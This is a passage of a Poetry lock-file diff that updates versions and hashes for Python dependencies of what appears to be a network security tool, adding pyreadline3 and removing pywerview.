"sha256:f2e497413560e03421484189a6b65e33fe800d3bd75590e6d78d4dfdb7accf3b"}, - {file = "pycryptodomex-3.20.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e48217c7901edd95f9f097feaa0388da215ed14ce2ece803d3f300b4e694abea"}, - {file = "pycryptodomex-3.20.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d00fe8596e1cc46b44bf3907354e9377aa030ec4cd04afbbf6e899fc1e2a7781"}, - {file = "pycryptodomex-3.20.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:88afd7a3af7ddddd42c2deda43d53d3dfc016c11327d0915f90ca34ebda91499"}, - {file = "pycryptodomex-3.20.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:d3584623e68a5064a04748fb6d76117a21a7cb5eaba20608a41c7d0c61721794"}, - {file = "pycryptodomex-3.20.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0daad007b685db36d977f9de73f61f8da2a7104e20aca3effd30752fd56f73e1"}, - {file = "pycryptodomex-3.20.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5dcac11031a71348faaed1f403a0debd56bf5404232284cf8c761ff918886ebc"}, - {file = "pycryptodomex-3.20.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:69138068268127cd605e03438312d8f271135a33140e2742b417d027a0539427"}, - {file = "pycryptodomex-3.20.0.tar.gz", hash = "sha256:7a710b79baddd65b806402e14766c721aee8fb83381769c27920f26476276c1e"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:dbeb84a399373df84a69e0919c1d733b89e049752426041deeb30d68e9867822"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:a192fb46c95489beba9c3f002ed7d93979423d1b2a53eab8771dbb1339eb3ddd"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:1233443f19d278c72c4daae749872a4af3787a813e05c3561c73ab0c153c7b0f"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bbb07f88e277162b8bfca7134b34f18b400d84eac7375ce73117f865e3c80d4c"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:e859e53d983b7fe18cb8f1b0e29d991a5c93be2c8dd25db7db1fe3bd3617f6f9"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-win32.whl", hash = "sha256:ef046b2e6c425647971b51424f0f88d8a2e0a2a63d3531817968c42078895c00"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-win_amd64.whl", hash = "sha256:da76ebf6650323eae7236b54b1b1f0e57c16483be6e3c1ebf901d4ada47563b6"}, + {file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:c07e64867a54f7e93186a55bec08a18b7302e7bee1b02fd84c6089ec215e723a"}, + {file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:56435c7124dd0ce0c8bdd99c52e5d183a0ca7fdcd06c5d5509423843f487dd0b"}, + {file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:65d275e3f866cf6fe891411be9c1454fb58809ccc5de6d3770654c47197acd65"}, + {file = "pycryptodomex-3.21.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:5241bdb53bcf32a9568770a6584774b1b8109342bd033398e4ff2da052123832"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-macosx_10_9_universal2.whl", hash = "sha256:34325b84c8b380675fd2320d0649cdcbc9cf1e0d1526edbe8fce43ed858cdc7e"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:103c133d6cd832ae7266feb0a65b69e3a5e4dbbd6f3a3ae3211a557fd653f516"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77ac2ea80bcb4b4e1c6a596734c775a1615d23e31794967416afc14852a639d3"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9aa0cf13a1a1128b3e964dc667e5fe5c6235f7d7cfb0277213f0e2a783837cc2"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:46eb1f0c8d309da63a2064c28de54e5e614ad17b7e2f88df0faef58ce192fc7b"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:cc7e111e66c274b0df5f4efa679eb31e23c7545d702333dfd2df10ab02c2a2ce"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_2_i686.whl", hash = "sha256:770d630a5c46605ec83393feaa73a9635a60e55b112e1fb0c3cea84c2897aa0a"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:52e23a0a6e61691134aa8c8beba89de420602541afaae70f66e16060fdcd677e"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-win32.whl", hash = "sha256:a3d77919e6ff56d89aada1bd009b727b874d464cb0e2e3f00a49f7d2e709d76e"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-win_amd64.whl", hash = "sha256:b0e9765f93fe4890f39875e6c90c96cb341767833cfa767f41b490b506fa9ec0"}, + {file = "pycryptodomex-3.21.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:feaecdce4e5c0045e7a287de0c4351284391fe170729aa9182f6bd967631b3a8"}, + {file = "pycryptodomex-3.21.0-pp27-pypy_73-win32.whl", hash = "sha256:365aa5a66d52fd1f9e0530ea97f392c48c409c2f01ff8b9a39c73ed6f527d36c"}, + {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:3efddfc50ac0ca143364042324046800c126a1d63816d532f2e19e6f2d8c0c31"}, + {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0df2608682db8279a9ebbaf05a72f62a321433522ed0e499bc486a6889b96bf3"}, + {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5823d03e904ea3e53aebd6799d6b8ec63b7675b5d2f4a4bd5e3adcb512d03b37"}, + {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:27e84eeff24250ffec32722334749ac2a57a5fd60332cd6a0680090e7c42877e"}, + {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:8ef436cdeea794015263853311f84c1ff0341b98fc7908e8a70595a68cefd971"}, + {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a1058e6dfe827f4209c5cae466e67610bcd0d66f2f037465daa2a29d92d952b"}, + {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9ba09a5b407cbb3bcb325221e346a140605714b5e880741dc9a1e9ecf1688d42"}, + {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:8a9d8342cf22b74a746e3c6c9453cb0cfbb55943410e3a2619bd9164b48dc9d9"}, + {file = "pycryptodomex-3.21.0.tar.gz", hash = "sha256:222d0bd05381dd25c32dd6065c071ebf084212ab79bab4599ba9e6a3e0009e6c"}, ] [[package]] name = "pyflakes" -version = "2.5.0" +version = "3.2.0" description = "passive checker of Python programs" optional = false -python-versions = ">=3.6" +python-versions = ">=3.8" +groups = ["dev"] files = [ - {file = "pyflakes-2.5.0-py2.py3-none-any.whl", hash = "sha256:4579f67d887f804e67edb544428f264b7b24f435b263c4614f384135cea553d2"}, - {file = "pyflakes-2.5.0.tar.gz", hash = "sha256:491feb020dca48ccc562a8c0cbe8df07ee13078df59813b83959cbdada312ea3"}, + {file = "pyflakes-3.2.0-py2.py3-none-any.whl", hash = "sha256:84b5be138a2dfbb40689ca07e2152deb896a65c3a3e24c251c5c62489568074a"}, + {file = "pyflakes-3.2.0.tar.gz", hash = "sha256:1c61603ff154621fb2a9172037d84dca3500def8c8b630657d1701f026f8af3f"}, ] [[package]] name = "pygments" -version = "2.18.0" +version = "2.19.1" description = "Pygments is a syntax highlighting package written in Python." optional = false python-versions = ">=3.8" +groups = ["main"] files = [ - {file = "pygments-2.18.0-py3-none-any.whl", hash = "sha256:b8e6aca0523f3ab76fee51799c488e38782ac06eafcf95e7ba832985c8e7b13a"}, - {file = "pygments-2.18.0.tar.gz", hash = "sha256:786ff802f32e91311bff3889f6e9a86e81505fe99f2735bb6d60ae0c5004f199"}, + {file = "pygments-2.19.1-py3-none-any.whl", hash = "sha256:9ea1544ad55cecf4b8242fab6dd35a93bbce657034b0611ee383099054ab6d8c"}, + {file = "pygments-2.19.1.tar.gz", hash = "sha256:61c16d2a8576dc0649d9f39e089b5f02bcd27fba10d8fb4dcc28173f7a45151f"}, ] [package.extras] @@ -1733,6 +1736,7 @@ version = "0.4.2" description = "Windows LNK File Parser and Creator" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "pylnk3-0.4.2-py3-none-any.whl", hash = "sha256:f75c80d85b2063f3549bfc4a00228474b90fa590de9f414f8df075b746b1b427"}, {file = "pylnk3-0.4.2.tar.gz", hash = "sha256:caee0136f61a8b788154dc8e7c03ac2dde57adc170f1c4786ab4721491ca6e99"}, @@ -1744,6 +1748,7 @@ version = "1.5.0" description = "Python binding to the Networking and Cryptography (NaCl) library" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "PyNaCl-1.5.0-cp36-abi3-macosx_10_10_universal2.whl", hash = "sha256:401002a4aaa07c9414132aaed7f6836ff98f59277a234704ff66878c2ee4a0d1"}, {file = "PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:52cb72a79269189d4e0dc537556f4740f7f0a9ec41c1322598799b0bdad4ef92"}, @@ -1770,6 +1775,7 @@ version = "0.1.5" description = "Pure python NFS client" optional = false python-versions = ">=2.7" +groups = ["main"] files = [] develop = false @@ -1777,7 +1783,7 @@ develop = false type = "git" url = "https://github.com/Pennyw0rth/NfsClient" reference = "HEAD" -resolved_reference = "a94a3254b279dc49395caecf27ec097a71eea91b" +resolved_reference = "0fa1c048394f601d565c6301880da84912b8245a" [[package]] name = "pyopenssl" @@ -1785,6 +1791,7 @@ version = "24.0.0" description = "Python wrapper module around the OpenSSL library" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "pyOpenSSL-24.0.0-py3-none-any.whl", hash = "sha256:ba07553fb6fd6a7a2259adb9b84e12302a9a8a75c44046e8bb5d3e5ee887e3c3"}, {file = "pyOpenSSL-24.0.0.tar.gz", hash = "sha256:6aa33039a93fffa4563e655b61d11364d01264be8ccb49906101e02a334530bf"}, @@ -1799,13 +1806,14 @@ test = ["flaky", "pretend", "pytest (>=3.0.1)"] [[package]] name = "pyparsing" -version = "3.1.2" +version = "3.2.1" description = "pyparsing module - Classes and methods to define and execute parsing grammars" optional = false -python-versions = ">=3.6.8" +python-versions = ">=3.9" +groups = ["main"] files = [ - {file = "pyparsing-3.1.2-py3-none-any.whl", hash = "sha256:f9db75911801ed778fe61bb643079ff86601aca99fcae6345aa67292038fb742"}, - {file = "pyparsing-3.1.2.tar.gz", hash = "sha256:a1bac0ce561155ecc3ed78ca94d3c9378656ad4c94c1270de543f621420f94ad"}, + {file = "pyparsing-3.2.1-py3-none-any.whl", hash = "sha256:506ff4f4386c4cec0590ec19e6302d3aedb992fdc02c761e90416f158dacf8e1"}, + {file = "pyparsing-3.2.1.tar.gz", hash = "sha256:61980854fd66de3a90028d679a954d5f2623e83144b5afe5ee86f43d762e5f0a"}, ] [package.extras] @@ -1817,6 +1825,7 @@ version = "1.9.0" description = "A cross-platform clipboard module for Python. (Only handles plain text for now.)" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "pyperclip-1.9.0.tar.gz", hash = "sha256:b7de0142ddc81bfc5c7507eea19da920b92252b548b96186caf94a5e2527d310"}, ] @@ -1827,6 +1836,7 @@ version = "0.8.1" description = "PowerShell Remoting Protocol and WinRM for Python" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "pypsrp-0.8.1-py3-none-any.whl", hash = "sha256:0101345ceb415896fed9b056e7b77d65312089ddc73c4286247ccf1859d4bc4d"}, {file = "pypsrp-0.8.1.tar.gz", hash = "sha256:f5500acd11dfe742d51b7fbb61321ba721038a300d67763dc52babe709db65e7"}, @@ -1847,6 +1857,7 @@ version = "0.6.10" description = "Python implementation of Mimikatz" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "pypykatz-0.6.10-py3-none-any.whl", hash = "sha256:b997d8ce7c012593ee7aabbaff86dac33a782c2edebd3adeec1809c7c400cd0f"}, {file = "pypykatz-0.6.10.tar.gz", hash = "sha256:3342e36086bc95ea0cb3f84358cda72ea1fc474d1900beae382c971c0ff40096"}, @@ -1863,15 +1874,32 @@ tqdm = "*" unicrypto = ">=0.0.10,<=0.1.0" winacl = ">=0.1.9,<=0.2.0" +[[package]] +name = "pyreadline3" +version = "3.5.4" +description = "A python implementation of GNU readline." +optional = false +python-versions = ">=3.8" +groups = ["main"] +markers = "sys_platform == \"win32\"" +files = [ + {file = "pyreadline3-3.5.4-py3-none-any.whl", hash = "sha256:eaf8e6cc3c49bcccf145fc6067ba8643d1df34d604a1ec0eccbf7a18e6d3fae6"}, + {file = "pyreadline3-3.5.4.tar.gz", hash = "sha256:8d57d53039a1c75adba8e50dd3d992b28143480816187ea5efbd5c78e6c885b7"}, +] + +[package.extras] +dev = ["build", "flake8", "mypy", "pytest", "twine"] + [[package]] name = "pyspnego" -version = "0.11.1" +version = "0.11.2" description = "Windows Negotiate Authentication Client and Server" optional = false python-versions = ">=3.8" +groups = ["main"] files = [ - {file = "pyspnego-0.11.1-py3-none-any.whl", hash = "sha256:129a4294f2c4d681d5875240ef87accc6f1d921e8983737fb0b59642b397951e"}, - {file = "pyspnego-0.11.1.tar.gz", hash = "sha256:e92ed8b0a62765b9d6abbb86a48cf871228ddb97678598dc01c9c39a626823f6"}, + {file = "pyspnego-0.11.2-py3-none-any.whl", hash = "sha256:74abc1fb51e59360eb5c5c9086e5962174f1072c7a50cf6da0bda9a4bcfdfbd4"}, + {file = "pyspnego-0.11.2.tar.gz", hash = "sha256:994388d308fb06e4498365ce78d222bf4f3570b6df4ec95738431f61510c971b"}, ] [package.dependencies] @@ -1879,7 +1907,7 @@ cryptography = "*" sspilib = {version = ">=0.1.0", markers = "sys_platform == \"win32\""} [package.extras] -kerberos = ["gssapi (>=1.6.0)", "krb5 (>=0.3.0)"] +kerberos = ["gssapi (>=1.6.0) ; sys_platform != \"win32\"", "krb5 (>=0.3.0) ; sys_platform != \"win32\""] yaml = ["ruamel.yaml"] [[package]] @@ -1888,6 +1916,7 @@ version = "7.4.4" description = "pytest: simple powerful testing with Python" optional = false python-versions = ">=3.7" +groups = ["dev"] files = [ {file = "pytest-7.4.4-py3-none-any.whl", hash = "sha256:b090cdf5ed60bf4c45261be03239c2c1c22df034fbffe691abe93cd80cea01d8"}, {file = "pytest-7.4.4.tar.gz", hash = "sha256:2cf0005922c6ace4a3e2ec8b4080eb0d9753fdc93107415332f50ce9e7994280"}, @@ -1910,6 +1939,7 @@ version = "2.9.0.post0" description = "Extensions to the standard Python datetime module" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +groups = ["main"] files = [ {file = "python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3"}, {file = "python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427"}, @@ -1924,6 +1954,7 @@ version = "0.7.3" description = "Python NMAP library enabling you to start async nmap tasks, parse and compare/diff scan results" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "python-libnmap-0.7.3.tar.gz", hash = "sha256:d03629256c2ee9ab37390c28d4c4c2ae9637cd0861dd8ab9e0f32779545936c0"}, ] @@ -1933,37 +1964,23 @@ defusedxml = ["defusedxml (>=0.6.0)"] [[package]] name = "pytz" -version = "2024.1" +version = "2025.1" description = "World timezone definitions, modern and historical" optional = false python-versions = "*" +groups = ["main"] files = [ - {file = "pytz-2024.1-py2.py3-none-any.whl", hash = "sha256:328171f4e3623139da4983451950b28e95ac706e13f3f2630a879749e7a8b319"}, - {file = "pytz-2024.1.tar.gz", hash = "sha256:2a29735ea9c18baf14b448846bde5a48030ed267578472d8955cd0e7443a9812"}, + {file = "pytz-2025.1-py2.py3-none-any.whl", hash = "sha256:89dd22dca55b46eac6eda23b2d72721bf1bdfef212645d81513ef5d03038de57"}, + {file = "pytz-2025.1.tar.gz", hash = "sha256:c2db42be2a2518b28e65f9207c4d05e6ff547d1efa4086469ef855e4ab70178e"}, ] -[[package]] -name = "pywerview" -version = "0.3.3" -description = "A Python port of PowerSploit's PowerView" -optional = false -python-versions = "*" -files = [ - {file = "pywerview-0.3.3-py3-none-any.whl", hash = "sha256:66e8135456bb47c88a00a00caf8f4a19b63f9e7bbb00774e99720f3b21b50f63"}, - {file = "pywerview-0.3.3.tar.gz", hash = "sha256:adc8797976659efeadf3e2fd583430b80c28ed76e0ca54ecb8dc95b6030c6d5c"}, -] - -[package.dependencies] -bs4 = "*" -impacket = ">=0.9.22" -lxml = "*" - [[package]] name = "requests" version = "2.32.3" description = "Python HTTP for Humans." optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "requests-2.32.3-py3-none-any.whl", hash = "sha256:70761cfe03c773ceb22aa2f671b4757976145175cdfca038c02654d061d6dcc6"}, {file = "requests-2.32.3.tar.gz", hash = "sha256:55365417734eb18255590a9ff9eb97e9e1da868d4ccd6402399eaf68af20a760"}, @@ -1981,19 +1998,20 @@ use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] [[package]] name = "rich" -version = "13.7.1" +version = "13.9.4" description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" optional = false -python-versions = ">=3.7.0" +python-versions = ">=3.8.0" +groups = ["main"] files = [ - {file = "rich-13.7.1-py3-none-any.whl", hash = "sha256:4edbae314f59eb482f54e9e30bf00d33350aaa94f4bfcd4e9e3110e64d0d7222"}, - {file = "rich-13.7.1.tar.gz", hash = "sha256:9be308cb1fe2f1f57d67ce99e95af38a1e2bc71ad9813b0e247cf7ffbcc3a432"}, + {file = "rich-13.9.4-py3-none-any.whl", hash = "sha256:6049d5e6ec054bf2779ab3358186963bac2ea89175919d699e378b99738c2a90"}, + {file = "rich-13.9.4.tar.gz", hash = "sha256:439594978a49a09530cff7ebc4b5c7103ef57baf48d5ea3184f21d9a2befa098"}, ] [package.dependencies] markdown-it-py = ">=2.2.0" pygments = ">=2.13.0,<3.0.0" -typing-extensions = {version = ">=4.0.0,<5.0", markers = "python_version < \"3.9\""} +typing-extensions = {version = ">=4.0.0,<5.0", markers = "python_version < \"3.11\""} [package.extras] jupyter = ["ipywidgets (>=7.5.1,<9)"] @@ -2004,6 +2022,7 @@ version = "0.0.292" description = "An extremely fast Python linter, written in Rust." optional = false python-versions = ">=3.7" +groups = ["dev"] files = [ {file = "ruff-0.0.292-py3-none-macosx_10_7_x86_64.whl", hash = "sha256:02f29db018c9d474270c704e6c6b13b18ed0ecac82761e4fcf0faa3728430c96"}, {file = "ruff-0.0.292-py3-none-macosx_10_9_x86_64.macosx_11_0_arm64.macosx_10_9_universal2.whl", hash = "sha256:69654e564342f507edfa09ee6897883ca76e331d4bbc3676d8a8403838e9fade"}, @@ -2026,29 +2045,35 @@ files = [ [[package]] name = "setuptools" -version = "71.1.0" +version = "75.8.1" description = "Easily download, build, install, upgrade, and uninstall Python packages" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" +groups = ["main", "dev"] files = [ - {file = "setuptools-71.1.0-py3-none-any.whl", hash = "sha256:33874fdc59b3188304b2e7c80d9029097ea31627180896fb549c578ceb8a0855"}, - {file = "setuptools-71.1.0.tar.gz", hash = "sha256:032d42ee9fb536e33087fb66cac5f840eb9391ed05637b3f2a76a7c8fb477936"}, + {file = "setuptools-75.8.1-py3-none-any.whl", hash = "sha256:3bc32c0b84c643299ca94e77f834730f126efd621de0cc1de64119e0e17dab1f"}, + {file = "setuptools-75.8.1.tar.gz", hash = "sha256:65fb779a8f28895242923582eadca2337285f0891c2c9e160754df917c3d2530"}, ] [package.extras] -core = ["importlib-metadata (>=6)", "importlib-resources (>=5.10.2)", "jaraco.text (>=3.7)", "more-itertools (>=8.8)", "ordered-set (>=3.1.1)", "packaging (>=24)", "platformdirs (>=2.6.2)", "tomli (>=2.0.1)", "wheel (>=0.43.0)"] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier"] -test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "importlib-metadata", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "jaraco.test", "mypy (==1.11.*)", "packaging (>=23.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-home (>=0.5)", "pytest-mypy", "pytest-perf", "pytest-ruff (<0.4)", "pytest-ruff (>=0.2.1)", "pytest-ruff (>=0.3.2)", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] +check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\"", "ruff (>=0.8.0) ; sys_platform != \"cygwin\""] +core = ["importlib_metadata (>=6) ; python_version < \"3.10\"", "jaraco.collections", "jaraco.functools (>=4)", "jaraco.text (>=3.7)", "more_itertools", "more_itertools (>=8.8)", "packaging", "packaging (>=24.2)", "platformdirs (>=4.2.2)", "tomli (>=2.0.1) ; python_version < \"3.11\"", "wheel (>=0.43.0)"] +cover = ["pytest-cov"] +doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"] +enabler = ["pytest-enabler (>=2.2)"] +test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21) ; python_version >= \"3.9\" and sys_platform != \"cygwin\"", "jaraco.envs (>=2.2)", "jaraco.path (>=3.7.2)", "jaraco.test (>=5.5)", "packaging (>=24.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf ; sys_platform != \"cygwin\"", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] +type = ["importlib_metadata (>=7.0.2) ; python_version < \"3.10\"", "jaraco.develop (>=7.21) ; sys_platform != \"cygwin\"", "mypy (==1.14.*)", "pytest-mypy"] [[package]] name = "shiv" -version = "1.0.6" +version = "1.0.8" description = "A command line utility for building fully self contained Python zipapps." optional = false python-versions = ">=3.6" +groups = ["dev"] files = [ - {file = "shiv-1.0.6-py2.py3-none-any.whl", hash = "sha256:a6ab14ba82729b7e9775e41e3beca02375c888115d0c060fc3bd980b37cb0495"}, - {file = "shiv-1.0.6.tar.gz", hash = "sha256:e222768135977bebdfb5c0d1a7dfea29557c566b58d300d5b8c2535ef223d776"}, + {file = "shiv-1.0.8-py2.py3-none-any.whl", hash = "sha256:a60e4b05a2d2f8b820d567b1d89ee59af731759771c32c282d03c4ceae6aba24"}, + {file = "shiv-1.0.8.tar.gz", hash = "sha256:2a68d69e98ce81cb5b8fdafbfc1e27efa93e6d89ca14bfae33482e4176f561d6"}, ] [package.dependencies] @@ -2061,86 +2086,97 @@ rtd = ["sphinx-click"] [[package]] name = "six" -version = "1.16.0" +version = "1.17.0" description = "Python 2 and 3 compatibility utilities" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +groups = ["main"] files = [ - {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"}, - {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"}, + {file = "six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274"}, + {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"}, ] [[package]] name = "soupsieve" -version = "2.5" +version = "2.6" description = "A modern CSS selector implementation for Beautiful Soup." optional = false python-versions = ">=3.8" +groups = ["main"] files = [ - {file = "soupsieve-2.5-py3-none-any.whl", hash = "sha256:eaa337ff55a1579b6549dc679565eac1e3d000563bcb1c8ab0d0fefbc0c2cdc7"}, - {file = "soupsieve-2.5.tar.gz", hash = "sha256:5663d5a7b3bfaeee0bc4372e7fc48f9cff4940b3eec54a6451cc5299f1097690"}, + {file = "soupsieve-2.6-py3-none-any.whl", hash = "sha256:e72c4ff06e4fb6e4b5a9f0f55fe6e81514581fca1515028625d0f299c602ccc9"}, + {file = "soupsieve-2.6.tar.gz", hash = "sha256:e2e68417777af359ec65daac1057404a3c8a5455bb8abc36f1a9866ab1a51abb"}, ] [[package]] name = "sqlalchemy" -version = "2.0.31" +version = "2.0.38" description = "Database Abstraction Library" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ - {file = "SQLAlchemy-2.0.31-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f2a213c1b699d3f5768a7272de720387ae0122f1becf0901ed6eaa1abd1baf6c"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9fea3d0884e82d1e33226935dac990b967bef21315cbcc894605db3441347443"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3ad7f221d8a69d32d197e5968d798217a4feebe30144986af71ada8c548e9fa"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9f2bee229715b6366f86a95d497c347c22ddffa2c7c96143b59a2aa5cc9eebbc"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cd5b94d4819c0c89280b7c6109c7b788a576084bf0a480ae17c227b0bc41e109"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:750900a471d39a7eeba57580b11983030517a1f512c2cb287d5ad0fcf3aebd58"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-win32.whl", hash = "sha256:7bd112be780928c7f493c1a192cd8c5fc2a2a7b52b790bc5a84203fb4381c6be"}, - {file = "SQLAlchemy-2.0.31-cp310-cp310-win_amd64.whl", hash = "sha256:5a48ac4d359f058474fadc2115f78a5cdac9988d4f99eae44917f36aa1476327"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f68470edd70c3ac3b6cd5c2a22a8daf18415203ca1b036aaeb9b0fb6f54e8298"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2e2c38c2a4c5c634fe6c3c58a789712719fa1bf9b9d6ff5ebfce9a9e5b89c1ca"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bd15026f77420eb2b324dcb93551ad9c5f22fab2c150c286ef1dc1160f110203"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2196208432deebdfe3b22185d46b08f00ac9d7b01284e168c212919891289396"}, - {file = "SQLAlchemy-2.0.31-cp311-cp311-musllinux_1_2_aarch64.whl", hash = 